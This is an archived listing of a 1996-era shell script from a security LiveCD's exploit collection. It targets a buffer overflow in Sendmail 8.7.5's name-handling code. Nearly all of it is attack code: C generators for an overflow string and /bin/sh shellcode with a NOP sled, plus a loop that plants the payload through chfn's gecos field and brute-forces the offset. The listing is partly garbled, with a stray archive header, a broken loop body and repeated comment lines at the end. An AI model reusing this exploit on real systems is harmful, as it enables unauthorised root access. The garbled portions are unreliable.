home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / chpass.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  3KB  |  138 lines

  1. #!/bin/sh
  2. #*NIX Sendmail (8.7.5) - Buffer Overflow - Newest sendmail exploit
  3. #:
  4. # Hrm... and Eric Allman told me to my face that there were *no* buffer
  5. # overflows in 8.7.5 -- .mudge
  6. # This works on systems that have the chpass program runable by
  7. # users. Tested on FreeBSD, though the vulnerability exists in all
  8. # Sendmail8.7.5. Granted you need to be able to change your gecos field ;-)
  9. #
  10. # The problem is in buildfnam() which lives in util.c - it treats
  11. # the static allocated array nbuf[MAXSIZE+1], from recipient.c, in
  12. # an unbounded fashion.
  13. #
  14. # mudge@l0pht.com
  15.  
  16. CC=/usr/bin/gcc
  17. RM=/bin/rm
  18.  
  19. cat > a_run.c << EOF
  20. main(int argc, char *argv[])
  21. {
  22.   long addr=0xefbfcea8;
  23.   char *ptr = (char *)&addr;
  24.   char foo[5];
  25.   int i, j;
  26.  
  27.   if (argc != 2)
  28. {
  29.   printf("Usage: %s offset\n", argv[0]);
  30.   exit(1);
  31. }
  32.  
  33.   addr += atoi(argv[1]);
  34.   printf("Full Name: CCCCCCCCCC");
  35.   if (atoi(argv[1])%2)
  36.   {
  37.     for(i=0; i<60; i++)
  38.       printf("AAAA");
  39.   }
  40.   else
  41.   {
  42.     for(i=0; i<60; i++)
  43.       printf("BBBB");
  44.   }
  45.   for (i = 0; i< 5; i++)
  46.   {
  47.     printf("%c%c%c%c", *(ptr+2), *(ptr+3), *(ptr), *(ptr+1));
  48.   }
  49. }
  50. EOF
  51.  
  52. cat > make_gecos.c << EOF
  53. #include <stdio.h>
  54.  
  55. main(int argc, char *argv[])
  56. {
  57.   int i;
  58.   char mach_codes[] =
  59.     "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  60.     "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  61.     "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  62.     "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
  63.  
  64.   for (i=0; i<40; i++)
  65.     printf("%c", 0x90);
  66.  
  67.   printf("%s", mach_codes);
  68. }
  69. EOF
  70.  
  71. $CC -o make_gecos make_gecos.c
  72. if [ ! -x make_gecos ] ; then
  73. echo failed to build make_asdf
  74. exit 1
  75. fi
  76. $CC a_run.c
  77. if [ ! -x a.out ] ; then
  78.   echo failed to build asdf
  79.   exit 1
  80.   fi
  81.  
  82.   $RM a_run.c make_gecos.c
  83.  
  84.   echo "1 - Change the variables in the sploit.sh script"
  85.   echo "2 - run make_gecos > tmpr"
  86.   echo "3 - setenv MANPATH=\"\`cat ./tmpr\`\" "
  87.   echo "4 - run the sploit.sh sploit.sh script with an argument"
  88.   echo "of around 3000"
  89.  
  90. # this argument varies depending upon what lives in ones
  91. # environment variables, what the paths are, etc. etc.
  92. # on a pretty stock environment in a FreeBSD setup I hit
  93. # around 3900
  94.  
  95.   sploit.sh600  0  3 704  62133761255634 #!/bin/sh
  96.  
  97.   if [ $# = 1 ] ; then
  98.     i=$1
  99.   else
  100.     i=0
  101.   fi
  102.  
  103.   FILE=/usr/home/username/wip/overflow/sendmail/ouch
  104.   TMP=/usr/home/username/wip/overflow/sendmail/cleanup
  105.   EDITOR=/usr/bin/ex
  106.   export EDITOR
  107.  
  108.  while `[ $i -le 16048 ]`
  109.    do
  110. # ./m3 $
  111.  {
  112.   i
  113.  }
  114. > $FILE
  115. # ./make_gecos ${i} > $FILE
  116. ./a.out ${i} > $FILE
  117.  
  118. chfn username << FOE
  119. 3 d
  120. 2 r ./ouch
  121. wq!
  122. FOE
  123.  
  124. sync
  125. sync
  126.  
  127. echo "using arg of [0xefbfcea8 (hex) + ${i}(dec)]"
  128. /usr/sbin/sendmail username
  129.  
  130. i=`expr $i + 1`
  131.  
  132.  done
  133.  in
  134. # an unbounded fashion.
  135. #
  136. # mudge@l0pht.com
  137.  
  138. CC=/usr/bin/cc